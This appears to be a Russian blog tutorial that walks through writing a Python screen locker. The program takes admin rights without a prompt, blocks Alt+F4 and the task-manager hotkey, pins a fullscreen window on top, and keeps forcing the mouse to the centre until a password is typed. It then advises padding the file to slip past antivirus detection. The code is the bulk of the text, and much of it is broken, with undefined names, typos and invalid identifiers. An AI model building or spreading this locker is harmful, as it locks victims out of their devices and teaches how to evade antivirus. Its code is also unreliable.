Привет, Хабр! В этой статье мы сделаем рабочий локер на Python. Да, вирус на питоне возможен. Например, мой Avast не смог его распознать, но в VirusTotal распознало 8 антивирусов.
Дисклеймер: я не несу ответственности за ваши действия, статья несёт исключительно ознакомительный характер и не призывает к действиям.
Приступим
Локер - это вид компьютерного вируса, который полностью блокирует доступ к устройству и просит код для разблокировки, который нужно "выкупить", отправив деньги на определенный адрес. Чаще всего это биткоин-кошельки.
Мы же не будем просить деньги, мы это делаем для развлечения и ни в коем случае не распространяем его, тестируем только на своём компьютере.
Для начала нужно установить все необходимые модули
pip install pyautogui
pip install pyqadmin
pip install keyboard
pip install tkinter #иногда встроенно
Далее откроем наш файл main.py и напишем основу кода
import pyautogui, os, sys, pyqadmin, keyboard
from tkinter import Tk, Entry, Label
from tkinter import *
from pyautogui import click, moveTo
from pyqadmin import admin
from time import sleep
import random
class Administr():
pass
class KeyboardAttribs():
pass
class Main(Frame):
pass
class ExitProgram():
pass
Большая часть кода и интерфейса находится в классе Main(). Но сначала начнём с дополнительных.
class Administr():
#выдаём администратора без уведомления ламера
@admin
def adm():
req = "AdminRequest('-push', False)"
class KeyboardAttribs():
#запрещаем alt+f4, открытие диспетчера задач
keyboard.add_hotkey("ctrl + shift + esc", lambda: None, suppress =True)
keyboard.add_hotkey("alt + f4", lambda: None, suppress =True)
class ExitProgram(): #этот класс переместите в конец кода
ex += 0
while True:
if ex == 1:
#выходим если пароль введён правильно (в Main)
sys.exit()
Ламер не сможет открыть диспетчер задач через ctrl+shift+esc, но сможет через ctrl+alt+delete, это мы потом исправим. Также жертва не сможет закрыть программу через alt+f4.
А вот и главный класс локера. В нём мы создадим интерфейс на весь экран без кнопки закрытия и отображения панели задач/быстрого доступа. Также чтобы исправить проблему с диспетчером задач, это окно будет отображатся поверх всех окон. Чтобы избавиться от нас, жертва должна ввести пароль
class Main(Frame):
#создаём окно
root = Tk()
pyautogui.FAILSAFE = False
#узнаём разрешение экрана
width = root.winfo_screenwidth()
height = root.winfo.screenheight()
#закрываем кнопку выхода и панель задач, ставим поверх всех окон
root.attributes("-fullscreen", True, "-topmost", True)
#виджеты, текст
entry1 = Entry(root, font=1).place(width=150, height=50, x=width/2-75, y=height/2-25)
label1 = Label(root, text="Ваше устройство заблокировано. Для разблокировки...", font=1)
label1.place(x=3, y=3)
label2 = Label(root, text="Введи пароль и нажми Enter", font="Arial 20").place(x=width/2-75-130, y=height/2-25-100)
root.update()
#с задержкой кликаем в центр
sleep(0.2)
click(width/2, height/2)
m_key = False
while not m_key:
click(width/2, height/2)
#посстояно двигаем мышь в центр
moveTo(width/2, height/2)
root.attributes("-fullscreen", True, "-topmost", True)
root.protocol("WM_DELETE_WINDOW")
root.update()
root.bind('<Enter>', callback)
def callback(event):
global k, entry
#проверяем пароль
ex = 0
if entry.get == "ваш_пароль":
m_key = True
ex += 1
root.title("you locked")
root.resizable(Fasle, False)
root.mainloop()
Наш локер готов. Как упоминалось выше, он не понравился 8 антивирусам. Это число можно разделить на два, разбавив хэш ненужными комментариями и вычислениями. Всё просто - перед каждой строкой ставишь много длинных комментариев и вычислений по типу:
25h = 1
25h += 1 + 6 - 12/2
h67 = 25h/2 + 19 * 5
h13 = 25h + h67 * 25h/h67
Однако скрипт будет загружаться дольше, поэтому советую оставить только длинные комментарии.
В завершение...
Не распространяйте вирусы. Я не сеньёр в питоне, поэтому прошу о всех ошибках писать в комментарии. Знаю, статья получилась короткой.